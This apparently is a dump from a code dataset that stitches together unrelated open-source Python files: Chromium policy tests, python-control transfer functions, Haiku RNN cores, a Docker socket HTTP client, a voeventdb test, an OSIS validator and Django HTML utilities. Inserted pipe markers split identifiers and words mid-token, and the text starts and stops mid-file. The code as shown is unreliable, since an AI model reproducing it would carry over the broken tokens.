print "decreased: ", map(lambda x: feats[x], deleted)
if len(added) > 0:
print "increased: ", map(lambda x: feats[x], added)
else:
import sys
import time
start = time.time()
inputs = sys.argv[1:50]
results = pdfrate(inputs)
print results
print "%.1f seconds." % (time.time() - start)
|
nwjs/chromium.src | components/policy/tools/template_writers/test_suite_all.py | Python | bsd-3-clause | 2,777 | 0.00144 | #!/usr/bin/env python3
# Copyright 2017 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
'''Unit test suite that collects template_writer tests.'''
import os
import sys
import unittest
class TestSuiteAll(unittest.TestSuite):
def __init__(self):
super(TestSuiteAll, self).__init__()
# Imports placed here to prevent circular imports.
# pylint: disable-msg=C6204
import policy_template_generator_unittest
import writers.adm_writer_unittest
import writers.adml_writer_unittest
import writers.admx_writer_unittest
import writers.android_policy_writer_unittest
import writers.chromeos_adml_writer_unittest
import writers.chromeos_admx_writer_unittest
import writers.doc_writer_unittest
import writers.google_adml_writer_unittest
import writers.google_admx_writer_unittest
import writers.ios_app_config_writer_unittest
import writers.jamf_writer_unittest
| import writers.json_writer_unittest
import writers.plist_strings_writer_unittest
import writers.plist_writer_unitte | st
import writers.reg_writer_unittest
import writers.template_writer_unittest
import writers.xml_writer_base_unittest
test_classes = [
policy_template_generator_unittest.PolicyTemplateGeneratorUnittest,
writers.adm_writer_unittest.AdmWriterUnittest,
writers.adml_writer_unittest.AdmlWriterUnittest,
writers.admx_writer_unittest.AdmxWriterUnittest,
writers.android_policy_writer_unittest.AndroidPolicyWriterUnittest,
writers.chromeos_adml_writer_unittest.ChromeOsAdmlWriterUnittest,
writers.chromeos_admx_writer_unittest.ChromeOsAdmxWriterUnittest,
writers.doc_writer_unittest.DocWriterUnittest,
writers.google_adml_writer_unittest.GoogleAdmlWriterUnittest,
writers.google_admx_writer_unittest.GoogleAdmxWriterUnittest,
writers.ios_app_config_writer_unittest.IOSAppConfigWriterUnitTests,
writers.jamf_writer_unittest.JamfWriterUnitTests,
writers.json_writer_unittest.JsonWriterUnittest,
writers.plist_strings_writer_unittest.PListStringsWriterUnittest,
writers.plist_writer_unittest.PListWriterUnittest,
writers.reg_writer_unittest.RegWriterUnittest,
writers.template_writer_unittest.TemplateWriterUnittests,
writers.xml_writer_base_unittest.XmlWriterBaseTest,
# add test classes here, in alphabetical order...
]
for test_class in test_classes:
self.addTest(unittest.makeSuite(test_class))
if __name__ == '__main__':
test_result = unittest.TextTestRunner(verbosity=2).run(TestSuiteAll())
sys.exit(len(test_result.errors) + len(test_result.failures))
|
roryyorke/python-control | control/xferfcn.py | Python | bsd-3-clause | 58,104 | 0.000379 | """xferfcn.py
Transfer function representation and functions.
This file contains the TransferFunction class and also functions
that operate on transfer functions. This is the primary representation
for the python-control library.
"""
# Python 3 compatibility (needs to go here)
from __future__ import print_function
from __future__ import division
"""Copyright (c) 2010 by California Institute of Technology
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. Neither the name of the California Institute of Technology nor
the names of its contributors may be used to endorse or promote
products derived from this software without specific prior
written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CALTECH
OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
SUCH DAMAGE.
Author: Richard M. Murray
Date: 24 May 09
Revised: Kevin K. Chen, Dec 10
$Id$
"""
# External function declarations
import numpy as np
from numpy import angle, array, empty, finfo, ndarray, ones, \
polyadd, polymul, polyval, roots, sqrt, zeros, squeeze, exp, pi, \
where, delete, real, poly, nonzero
import scipy as sp
from scipy.signal import lti, tf2zpk, zpk2tf, cont2discrete
from copy import deepcopy
from warnings import warn
from itertools import chain
from re import sub
from .lti import LTI, timebaseEqual, timebase, isdtime
from . import config
__all__ = ['TransferFunction', 'tf', 'ss2tf', 'tfdata']
# Define module default parameter values
_xferfcn_defaults = {
'xferfcn.default_dt': None}
class TransferFunction(LTI):
"""TransferFunction(num, den[, dt])
A class for representing transfer functions
The TransferFunction class is used to represent systems in transfer
function form.
The main data members are 'num' and 'den', which are 2-D lists of arrays
containing MIMO numerator and denominator coefficients. For example,
>>> num[2][5] = numpy.array([1., 4., 8.])
me | ans that the numerator | of the transfer function from the 6th input to the
3rd output is set to s^2 + 4s + 8.
Discrete-time transfer functions are implemented by using the 'dt'
instance variable and setting it to something other than 'None'. If 'dt'
has a non-zero value, then it must match whenever two transfer functions
are combined. If 'dt' is set to True, the system will be treated as a
discrete time system with unspecified sampling time. The default value of
'dt' is None and can be changed by changing the value of
``control.config.defaults['xferfcn.default_dt']``.
The TransferFunction class defines two constants ``s`` and ``z`` that
represent the differentiation and delay operators in continuous and
discrete time. These can be used to create variables that allow algebraic
creation of transfer functions. For example,
>>> s = TransferFunction.s
>>> G = (s + 1)/(s**2 + 2*s + 1)
"""
def __init__(self, *args):
"""TransferFunction(num, den[, dt])
Construct a transfer function.
The default constructor is TransferFunction(num, den), where num and
den are lists of lists of arrays containing polynomial coefficients.
To create a discrete time transfer funtion, use TransferFunction(num,
den, dt) where 'dt' is the sampling time (or True for unspecified
sampling time). To call the copy constructor, call
TransferFunction(sys), where sys is a TransferFunction object
(continuous or discrete).
"""
args = deepcopy(args)
if len(args) == 2:
# The user provided a numerator and a denominator.
(num, den) = args
dt = config.defaults['xferfcn.default_dt']
elif len(args) == 3:
# Discrete time transfer function
(num, den, dt) = args
elif len(args) == 1:
# Use the copy constructor.
if not isinstance(args[0], TransferFunction):
raise TypeError("The one-argument constructor can only take \
in a TransferFunction object. Received %s."
% type(args[0]))
num = args[0].num
den = args[0].den
# TODO: not sure this can ever happen since dt is always present
try:
dt = args[0].dt
except NameError: # pragma: no coverage
dt = config.defaults['xferfcn.default_dt']
else:
raise ValueError("Needs 1, 2 or 3 arguments; received %i."
% len(args))
num = _clean_part(num)
den = _clean_part(den)
inputs = len(num[0])
outputs = len(num)
# Make sure numerator and denominator matrices have consistent sizes
if inputs != len(den[0]):
raise ValueError(
"The numerator has %i input(s), but the denominator has "
"%i input(s)." % (inputs, len(den[0])))
if outputs != len(den):
raise ValueError(
"The numerator has %i output(s), but the denominator has "
"%i output(s)." % (outputs, len(den)))
# Additional checks/updates on structure of the transfer function
for i in range(outputs):
# Make sure that each row has the same number of columns
if len(num[i]) != inputs:
raise ValueError(
"Row 0 of the numerator matrix has %i elements, but row "
"%i has %i." % (inputs, i, len(num[i])))
if len(den[i]) != inputs:
raise ValueError(
"Row 0 of the denominator matrix has %i elements, but row "
"%i has %i." % (inputs, i, len(den[i])))
# Check for zeros in numerator or denominator
# TODO: Right now these checks are only done during construction.
# It might be worthwhile to think of a way to perform checks if the
# user modifies the transfer function after construction.
for j in range(inputs):
# Check that we don't have any zero denominators.
zeroden = True
for k in den[i][j]:
if k:
zeroden = False
break
if zeroden:
raise ValueError(
"Input %i, output %i has a zero denominator."
% (j + 1, i + 1))
# If we have zero numerators, set the denominator to 1.
zeronum = True
for k in num[i][j]:
if k:
zeronum = False
break
if zeronum:
den[i][j] = ones(1)
LTI.__init__(self, inputs, outputs, dt)
self.num = num
self.den = den
self._truncatecoeff()
def __call__(self, s):
"""Evaluate the system's transfer function for a complex variable
For a SISO transfer function, returns the value of the
trans |
deepmind/dm-haiku | haiku/_src/recurrent.py | Python | apache-2.0 | 27,760 | 0.003963 | # Copyright 2019 DeepMind Technologies Limited. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Haiku recurrent core."""
import abc
import types
from typing import Any, NamedTuple, Optional, Sequence, Tuple, Union
from haiku._src import base
from haiku._src import basic
from haiku._src import conv
from haiku._src import initializers
from haiku._src import module
from haiku._src import stateful
import jax
import jax.nn
import jax.numpy as jnp
# If you are forking replace this with `import haiku as hk`.
hk = types.ModuleType("haiku")
hk.initializers = initializers
hk.Linear = basic.Linear
hk.ConvND = conv.ConvND
hk.get_parameter = base.get_parameter
hk.Module = module.Module
hk.scan = stateful.scan
inside_transform = base.inside_transform
del base, basic, conv, initializers, module
class RNNCore(hk.Module):
"""Base class for RNN cores.
This class defines the basic functionality that every core should
implement: :meth:`initial_state`, used to construct an example of the
core state; and :meth:`__call__` which applies the core parameterized
by a previous state to an input.
Cores may be used with :func:`dynamic_unroll` and :func:`static_unroll` to
iteratively construct an output sequence from the given input sequence.
"""
@abc.abstractmethod
def __call__(self, inputs, prev_state) -> Tuple[Any, Any]:
"""Run one step of the RNN.
Args:
inputs: An arbitrarily nested structure.
prev_state: Previous core state.
Returns:
A tuple with two elements ``output, next_state``. ``output`` is an
arbitrarily nested structure. ``next_state`` is the next core state, this
must be the same shape as ``prev_state``.
"""
@abc.abstractmethod
def initial_state(self, batch_size: Optional[int]):
"""Constructs an initial state for this core.
Args:
batch_size: Optional int or an integral scalar tensor representing
batch size. If None, the core may either fail or (experimentally)
return an initial state without a batch dimension.
Returns:
Arbitrarily nested initial state for this core.
"""
def static_unroll(core, input_sequence, initial_state, time_major=True):
"""Performs a static unroll of an RNN.
An *unroll* corresponds to calling the core on each element of the
input sequence in a loop, carrying the state through::
state = initial_state
for t in range(len(input_sequence)):
outputs, state = core(input_sequence[t], state)
A *static* unroll replaces a loop with its body repeated multiple
times when executed inside :func:`jax.jit`::
state = initial_state
outputs0, state = core(input_sequence[0], state)
outputs1, state = core(input_sequence[1], state)
outputs2, state = core(input_sequence[2], state)
...
See :func:`dynamic_unroll` for a loop-preserving unroll function.
Args:
core: An :class:`RNNCore` to unroll.
input_sequence: An arbitrarily nested structure of tensors of shape
``[T, ...]`` if time-major=True, or ``[B, T, ...]`` if time_major=False,
where ``T`` is the number of time steps.
initial_state: An initial state of the given core.
time_major: If True, inputs are expected time-major, otherwise they are
expected batch-major.
Returns:
A tuple with two elements:
* **output_sequence** - An arbitrarily nested structure of tensors
of shape ``[T, ...]`` if time-major, otherwise ``[B, T, ...]``.
* **final_state** - Core state at time step ``T``.
"""
output_sequence = []
time_axis = 0 if time_major else 1
num_steps = jax.tree_leaves(input_sequence)[0].shape[time_axis]
state = initial_state
for t in range(num_steps):
if time_major:
inputs = jax.tree_map(lambda x, _t=t: x[_t], input_sequence)
else:
inputs = jax.tree_map(lambda x, _t=t: x[:, _t], input_sequence)
outputs, state = core(inputs, state)
output_sequence.append(outputs)
# Stack outputs along the time axis.
output_sequence = jax.tree_multimap(
lambda *args: jnp.stack(args, axis=time_axis),
*output_sequence)
return output_sequence, state
def _swap_batch_time(inputs):
"""Swaps batch and time axes, assumed to be the first two axes."""
return jax.tree_map(lambda x: jnp.swapaxes(x, 0, 1), inputs)
def dynamic_unroll(core,
input_sequence,
initial_state,
time_major=True,
reverse=False,
return_all_states=False):
"""Performs a dynamic unroll of an RNN.
An *unroll* corresponds to calling the core on each element of the
input sequence in a loop, carrying the state through::
state = initial_state
for t in range(len(input_sequence)):
outputs, state = core(input_sequence[t], state)
A *dynamic* unroll preserves the loop structure when executed inside
:func:`jax.jit`. See :func:`static_unroll` for an unroll function which
replaces a loop with its body repeated multiple times.
Args:
core: An :class:`RNNCore` to unroll.
input_sequence: An arbitrarily nested structure of tensors of shape
``[T, ...]`` if time-major=True, or ``[B, T, ...]`` if time_major=False,
where ``T`` is the number of time steps.
initial_state: An initial state of the given core.
time_major: If True, inputs are expected time-major, otherwise they are
expected batch-major.
reverse: If True, inputs are scanned in the reversed order. Equivalent to
reversing the time dimension in both inputs and outputs. See
https://jax.readthedocs.io/en/latest/_autosummary/jax.lax.scan.html | for
more details.
return_all_states: If True, all intermediate states are returned rather than
only the last one in time.
Returns:
A tuple with two elements:
* **output | _sequence** - An arbitrarily nested structure of tensors
of shape ``[T, ...]`` if time-major, otherwise ``[B, T, ...]``.
* **state_sequence** - If return_all_states is True, returns the sequence
of core states. Otherwise, core state at time step ``T``.
"""
scan = hk.scan if inside_transform() else jax.lax.scan
# Swap the input and output of core.
def scan_f(prev_state, inputs):
outputs, next_state = core(inputs, prev_state)
if return_all_states:
return next_state, (outputs, next_state)
return next_state, outputs
# TODO(hamzamerzic): Remove axis swapping once scan supports time axis arg.
if not time_major:
input_sequence = _swap_batch_time(input_sequence)
scan_result = scan(
scan_f, initial_state, input_sequence, reverse=reverse)
if return_all_states:
_, (output_sequence, state_sequence) = scan_result
else:
last_state, output_sequence = scan_result
if not time_major:
output_sequence = _swap_batch_time(output_sequence)
if return_all_states:
state_sequence = _swap_batch_time(state_sequence)
if return_all_states:
return output_sequence, state_sequence
return output_sequence, last_state
def add_batch(nest, batch_size: Optional[int]):
"""Adds a batch dimension at axis 0 to the leaves of a nested structure."""
broadcast = lambda x: jnp.broadcast_to(x, (batch_size,) + x.shape)
return jax.tree_map(broadcast, nest)
class VanillaRNN(RNNCore):
r"""Basic fully-connected RNN core.
Given :math:`x_t` and the previous hidden state :math:`h_{t-1}` the
core computes
.. math::
h_t = \operatorname{ReLU}(w_i x_t + b_i + w_h h_{t-1} + b_h)
The output is equal to the new state, :math:`h_t`.
"""
|
mreithub/rocker | rocker/restclient.py | Python | apache-2.0 | 16,781 | 0.029021 |
import codecs
import json
import select
import socket
import sys
import time
import urllib.parse
# Slim HTTP client written directly on top of the UNIX socket API.
# Therefore it can be used with both UNIX and TCP sockets.
#
# Its intended use is limited to rocker (the restclient API should not be
# considered stable).
#
# Right now t | he idea is to create a new Request instance for each request.
#
# The best way to instantiate the client is using a with statement. That way
# all resources will be released properly. E.g.:
#
# with Reque | st("unix:///var/run/docker.sock") as req:
# response = client.doGet('/version').send()
# # do something with the response
#
# send() will return a Response object which can then be used to act accordingly
class Request:
# Request constructor
#
# You'll have to provide either a UNIX socket path or a HTTP/HTTPS server
# URL. For example:
#
# unix:///var/run/docker.sock
# http://dockerHost:1234/
# https://dockerHost:1234/
#
# Note that HTTP and HTTPS aren't implemented yet (feel free to provide a
# patch/merge request).
def __init__(self, url):
url = urllib.parse.urlsplit(url)
self._headers = {}
self._headerKeys = {}
self._chunked = False
self._headersSent = False
self._method = None
self._url = None
self._reqBodyPos = 0
self.setHeader("User-agent", "rocker v0.1") # TODO use the real rocker version
try:
if url.scheme == 'unix':
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect(url.path)
elif url.scheme in ['http', 'https']:
raise Exception("Not yet implemented: {0}".format(url))
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.create_connection()
else:
raise Exception("Unsupported schema: {0}".format(url.schema))
except PermissionError as e:
raise SocketError("Can't access '{0}'".format(url), e)
except FileNotFoundError as e:
raise SocketError("Socket not found: '{0}'".format(url), e)
# sock.setblocking(0)
self._sock = ChunkReader(BufferedReader(sock))
# 'with' statement implementation
# simply returns self
def __enter__(self):
return self
# 'with' statement implementation
# calls close() when the calling code exits the 'with' block
def __exit__(self, type, value, traceback):
self.close()
# Sends the HTTP request headers
#
# This method makes sure the headers will be sent only once
def _sendHeaders(self):
if self._headersSent:
return
self._sock.send("{0} {1} HTTP/1.1\r\n".format(self._method, self._url).encode('ascii'))
for key, value in self._headers.items():
# for now I'll only allow ASCII headers (file a bug if that's not enough)
self._sock.send("{0}: {1}\r\n".format(key, value).encode('ascii'))
self._sock.send(b'\r\n')
self._headersSent = True
# Closes the underlying socket
def close(self):
self._sock.close()
def doDelete(self, url):
self._method = "DELETE"
self._url = url
return self
# Specifies the url for this GET request
def doGet(self, url):
self._method = "GET"
self._url = url
return self
# Specifies the url for this POST request
def doPost(self, url):
self._method = "POST"
self._url = url
return self
# Tells Request to use chunked mode
#
# You need to call this method before using write().
# But in chunked mode send() won't accept any request body data.
#
# Will fail if the headers have already been sent.
def enableChunkedMode(self):
self.setHeader("Transfer-encoding", "chunked")
self._chunked = True
# Set a request header
#
# Header names are case insensitive (so 'Content-type' will overwrite 'Content-Type', etc.)
#
# This method will fail if the headers have been sent already
def setHeader(self, key, value):
if self._headersSent:
raise Exception("Headers already sent!")
if key.lower() in self._headerKeys:
# overwrite header
del self._headers[self._headerKeys[key]]
self._headers[key] = value
self._headerKeys[key.lower()] = key
# Finalizes the request and returns a Response object
#
# This method will send the headers if that hasn't happened yet,
# send data if not in chunked mode and then return a Response
# object using the underlying socket
def send(self, data=None):
if data != None:
if self._chunked:
raise Exception("data can't be set when in chunked mode")
if type(data) == dict:
data = bytes(json.dumps(data), 'utf8')
self.setHeader("Content-type", "application/json")
self.setHeader("Content-length", str(len(data)))
elif self._chunked:
# send final chunk
self._sock.send(b'0\r\n\r\n')
self._sendHeaders()
if data != None:
self._sock.send(data)
return Response(self._sock)
# Returns the number of bytes already written in the request body
#
# With this method you can use Request as `fileobj` parameter for `tarfile`
def tell(self):
return self._reqBodyPos
# Write request body data in chunked mode
def write(self, data):
if not self._chunked:
raise Exception("Request.write() only works in chunked mode!")
# make sure we can actually write data
select.select([], [self._sock], [])
self._sendHeaders()
self._sock.send("{0:x}\r\n".format(len(data)).encode('ascii'))
self._sock.send(data)
self._sock.send(b"\r\n")
self._reqBodyPos += len(data)
# Represents a HTTP response
#
# Response objects are created by Request.send().
#
# They will parse the response headers, try to figure out content type and charset
# and give you access to the response body in various forms
class Response:
# Response constructor (should only be called by Request.send()
def __init__(self, sock):
self._sock = ChunkReader(BufferedReader(sock))
self._headers = None
self._headerKeys = {}
self._status = None
self._statusMsg = None
self._parseHeaders()
self.__parseContentType()
if self.isChunked():
self._sock.enableChunkedMode()
# 'in' operator.
# This method will return true if a response header with the given name exists
# (case insensitive).
# Use it like follows:
#
# if 'Content-Type' in restClient:
# contentType = restClient.getHeader('Content-type')
def __contains__(self, key):
if self._headerKeys == None:
raise Exception("Headers haven't been read yet!")
else:
return key.lower() in self._headerKeys
# Internal method to figure out the response data type and character set
def __parseContentType(self):
# will be something like:
# - text/plain; charset=utf-8
# - application/json
# if no charset is specified, this method will assume ascii data
# (it's better to raise an exception and be able to fix bugs as they come
# than to decode the data in a wrong way)
#
# JSON however uses a default charset of utf8
if 'Content-Type' not in self:
if self._status == 204: # no content
self._contentType = None
self._charset = None
return
else:
raise Exception("Missing Content-Type header in Docker response!")
header = self.getHeader('Content-Type')
cTypeParts = header.split(';')
cType = cTypeParts[0].strip().lower()
charset = 'ascii'
if len(cTypeParts) > 2:
raise ValueError("Malformed content-type header: {0}".format(header))
if len(cTypeParts) == 2:
charsetParts = cTypeParts[1].split('=')
if len(charsetParts) != 2 or charsetParts[0].lower().strip() != 'charset':
raise ValueError("Malformed charset declaration: {0}".format(cTypeParts[1]))
charset = charsetParts[1].strip().lower()
elif cType == 'application/json': # implicitly: and len(cTypeParts) < 2
charset = 'utf-8'
self._contentType = cType
self._charset = charset
# Parses the response headers (and returns them)
#
# The header data will be stored in self._headers, so subsequent calls
# to __readHeaders() will simply return the cached data.
def _parseHeaders(self):
rc = {}
if self._headers != None:
return self._headers
while True:
line = self._sock.readLine().strip()
if len(line) == 0:
break
else:
if self._status == None:
# first line contains the HTTP status (sth like: 'HTTP/1.1 200 Ok')
firstSpace = line.find(b' ')
secondSpace = line.find(b' ', firstSpace+1)
if firstSpace < 0 or secondSpace < 0: |
timstaley/voeventdb | voeventdb/server/tests/test_fixture_creation.py | Python | gpl-2.0 | 916 | 0.002183 | from __future__ import absolute_import
from unittest import TestCase
from datetime import datetime, timedelta
from voeventdb.server.tests.fixtures import fake, packetgen
class TestBasicRoutines(TestCase):
def setUp(self):
self.start = datetime(2015, 1, 1)
self.interval = timedelta(minutes=15) |
def test_timerange(self):
n_interval_added = 5
times = [t for t in
packetgen.timerange(self.start,
self.start+self.interval*n_interval_added,
self.interval)]
self.assertEqual(n_interval_added, len(times))
self.assertEqual(self.start, times[0])
def test_heartbeat(self):
n_interval = 4*6
packets = | fake.heartbeat_packets(self.start, self.interval,
n_interval)
self.assertEqual(n_interval, len(packets))
|
uclouvain/OSIS-Louvain | program_management/ddd/validators/_authorized_relationship_for_all_trees.py | Python | agpl-3.0 | 2,629 | 0.001522 | # ############################################################################
# OSIS stands for Open Student Information System. It's an application
# designed to manage the core business of higher education institutions,
# such as universities, faculties, institutes and professional schools.
# The core business involves the administration of students, teachers,
# courses, programs and so on.
#
# Copyright (C) 2015-2020 Université catholique de Louvain (http://www.uclouvain.be)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# A copy of this license - GNU General Public License - is available
# at the root of the source code of this program. If not,
# see http://www.gnu.org/licenses/.
# ############################################################################
from typing import Optional
from base.ddd.utils.business_validator import BusinessValidator
from base.models.enums.link_type import LinkTypes
from program_management.ddd.business_types import *
from program_management.ddd.validators._authorized_relationship import PasteAuthorizedRelationshipValidator
class ValidateAuthorizedRelationshipForAllTrees(BusinessValidator):
def __init__(
self,
tree: 'ProgramTree',
node_to_paste: 'Node',
path: 'Path',
tree_repository: 'Pr | ogramTreeRepository',
link_type: Optional[LinkTypes]
) -> None:
super().__init__()
self.tree = tree
self.node_to_paste = node_to_paste
self.path = path
self.tree_repository = tree_repository
| self.link_type = link_type
def validate(self, *args, **kwargs):
node_to_paste_to = self.tree.get_node(self.path)
trees = self.tree_repository.search_from_children([node_to_paste_to.entity_id])
trees.append(self.tree)
for tree in trees:
for parent_node in tree.get_parents_node_with_respect_to_reference(node_to_paste_to):
PasteAuthorizedRelationshipValidator(
tree,
self.node_to_paste,
parent_node,
link_type=self.link_type
).validate()
|
errx/django | django/utils/html.py | Python | bsd-3-clause | 10,215 | 0.002154 | """HTML utilities suitable for global use."""
from __future__ import unicode_literals
import re
from django.utils.encoding import force_text, force_str
from django.utils.functional import allow_lazy
from django.utils.safestring import SafeData, mark_safe
from django.utils import six
from django.utils.six.moves.urllib.parse import quote, unquote, urlsplit, urlunsplit
from django.utils.text import normalize_newlines
from .html_parser import HTMLParser, HTMLParseError
# Configuration for urlize() function.
TRAILING_PUNCTUATION = ['.', ',', ':', ';', '.)', '"', '\'']
WRAPPING_PUNCTUATION = [('(', ')'), ('<', '>'), ('[', ']'), ('<', '>'), ('"', '"'), ('\'', '\'')]
# List of possible strings used for bullets in bulleted lists.
DOTS = ['·', '*', '\u2022', '•', '•', '•']
unencoded_ampersands_re = re.compile(r'&(?!(\w+|#\d+);)')
word_split_re = re.compile(r'(\s+)')
simple_url_re = re.compile(r'^https?://\[?\w', re.IGNORECASE)
simple_url_2_re = re.compile(r'^www\.|^(?!http)\w[^@]+\.(com|edu|gov|int|mil|net|org)$', re.IGNORECASE)
simple_email_re = re.compile(r'^\S+@\S+\.\S+$')
link_target_attribute_re = re.compile(r'(<a [^>]*?)target=[^\s>]+')
html_gunk_re = re.compile(r'(?:<br clear="all">|<i><\/i>|<b><\/b>|<em><\/em>|<strong><\/strong>|<\/?smallcaps>|<\/?uppercase>)', re.IGNORECASE)
hard_coded_bullets_re = re.compile(r'((?:<p>(?:%s).*?[a-zA-Z].*?</p>\s*)+)' % '|'.join(re.escape(x) for x in DOTS), re.DOTALL)
trailing_empty_content_re = re.compile(r'(?:<p>(?: |\s|<br \/>)*?</p>\s*)+\Z')
def escape(text):
"""
Returns the given text with ampersands, quotes and angle brackets encoded for use in HTML.
"""
return mark_safe(force_text(text).replace('&', '&').replace('<', '<').replace('>', '>').replace('"', '"').replace("'", '''))
escape = allow_lazy(escape, six.text_type)
_js_escapes = {
ord('\\'): '\\u005C',
ord('\''): '\\u0027',
ord('"'): '\\u0022',
ord('>'): '\\u003E',
ord('<'): '\\u003C',
ord('&'): '\\u0026',
ord('='): '\\u003D',
ord('-'): '\\u002D',
ord(';'): '\\u003B',
ord('\u2028'): '\\u2028',
ord('\u2029'): '\\u2029'
}
# Escape every ASCII character with a value less than 32.
_js_escapes.update((ord('%c' % z), '\\u%04X' % z) | for z in range | (32))
def escapejs(value):
"""Hex encodes characters for use in JavaScript strings."""
return mark_safe(force_text(value).translate(_js_escapes))
escapejs = allow_lazy(escapejs, six.text_type)
def conditional_escape(text):
"""
Similar to escape(), except that it doesn't operate on pre-escaped strings.
"""
if hasattr(text, '__html__'):
return text.__html__()
else:
return escape(text)
def format_html(format_string, *args, **kwargs):
"""
Similar to str.format, but passes all arguments through conditional_escape,
and calls 'mark_safe' on the result. This function should be used instead
of str.format or % interpolation to build up small HTML fragments.
"""
args_safe = map(conditional_escape, args)
kwargs_safe = dict((k, conditional_escape(v)) for (k, v) in six.iteritems(kwargs))
return mark_safe(format_string.format(*args_safe, **kwargs_safe))
def format_html_join(sep, format_string, args_generator):
"""
A wrapper of format_html, for the common case of a group of arguments that
need to be formatted using the same format string, and then joined using
'sep'. 'sep' is also passed through conditional_escape.
'args_generator' should be an iterator that returns the sequence of 'args'
that will be passed to format_html.
Example:
format_html_join('\n', "<li>{0} {1}</li>", ((u.first_name, u.last_name)
for u in users))
"""
return mark_safe(conditional_escape(sep).join(
format_html(format_string, *tuple(args))
for args in args_generator))
def linebreaks(value, autoescape=False):
"""Converts newlines into <p> and <br />s."""
value = normalize_newlines(value)
paras = re.split('\n{2,}', value)
if autoescape:
paras = ['<p>%s</p>' % escape(p).replace('\n', '<br />') for p in paras]
else:
paras = ['<p>%s</p>' % p.replace('\n', '<br />') for p in paras]
return '\n\n'.join(paras)
linebreaks = allow_lazy(linebreaks, six.text_type)
class MLStripper(HTMLParser):
def __init__(self):
HTMLParser.__init__(self)
self.reset()
self.fed = []
def handle_data(self, d):
self.fed.append(d)
def handle_entityref(self, name):
self.fed.append('&%s;' % name)
def handle_charref(self, name):
self.fed.append('&#%s;' % name)
def get_data(self):
return ''.join(self.fed)
def strip_tags(value):
"""Returns the given HTML with all tags stripped."""
s = MLStripper()
try:
s.feed(value)
s.close()
except HTMLParseError:
return value
else:
return s.get_data()
strip_tags = allow_lazy(strip_tags)
def remove_tags(html, tags):
"""Returns the given HTML with given tags removed."""
tags = [re.escape(tag) for tag in tags.split()]
tags_re = '(%s)' % '|'.join(tags)
starttag_re = re.compile(r'<%s(/?>|(\s+[^>]*>))' % tags_re, re.U)
endtag_re = re.compile('</%s>' % tags_re)
html = starttag_re.sub('', html)
html = endtag_re.sub('', html)
return html
remove_tags = allow_lazy(remove_tags, six.text_type)
def strip_spaces_between_tags(value):
"""Returns the given HTML with spaces between tags removed."""
return re.sub(r'>\s+<', '><', force_text(value))
strip_spaces_between_tags = allow_lazy(strip_spaces_between_tags, six.text_type)
def strip_entities(value):
"""Returns the given HTML with all entities (&something;) stripped."""
return re.sub(r'&(?:\w+|#\d+);', '', force_text(value))
strip_entities = allow_lazy(strip_entities, six.text_type)
def smart_urlquote(url):
"Quotes a URL if it isn't already quoted."
# Handle IDN before quoting.
try:
scheme, netloc, path, query, fragment = urlsplit(url)
try:
netloc = netloc.encode('idna').decode('ascii') # IDN -> ACE
except UnicodeError: # invalid domain part
pass
else:
url = urlunsplit((scheme, netloc, path, query, fragment))
except ValueError:
# invalid IPv6 URL (normally square brackets in hostname part).
pass
url = unquote(force_str(url))
# See http://bugs.python.org/issue2637
url = quote(url, safe=b'!*\'();:@&=+$,/?#[]~')
return force_text(url)
def urlize(text, trim_url_limit=None, nofollow=False, autoescape=False):
"""
Converts any URLs in text into clickable links.
Works on http://, https://, www. links, and also on links ending in one of
the original seven gTLDs (.com, .edu, .gov, .int, .mil, .net, and .org).
Links can have trailing punctuation (periods, commas, close-parens) and
leading punctuation (opening parens) and it'll still do the right thing.
If trim_url_limit is not None, the URLs in the link text longer than this
limit will be truncated to trim_url_limit-3 characters and appended with
an ellipsis.
If nofollow is True, the links will get a rel="nofollow" attribute.
If autoescape is True, the link text and URLs will be autoescaped.
"""
def trim_url(x, limit=trim_url_limit):
if limit is None or len(x) <= limit:
return x
return '%s...' % x[:max(0, limit - 3)]
safe_input = isinstance(text, SafeData)
words = word_split_re.split(force_text(text))
for i, word in enumerate(words):
if '.' in word or '@' in word or ':' in word:
# Deal with punctuation.
lead, middle, trail = '', word, ''
for punctuation in TRAILING_PUNCTUATION:
if middle.endswith(punctuation):
middle = middle[:-len(punctuation)]
trail = punctuation + trail
for opening, closing in WRAPPING_PUNCTUATION:
if middle.startswith(opening):
middle = middle[len(open |
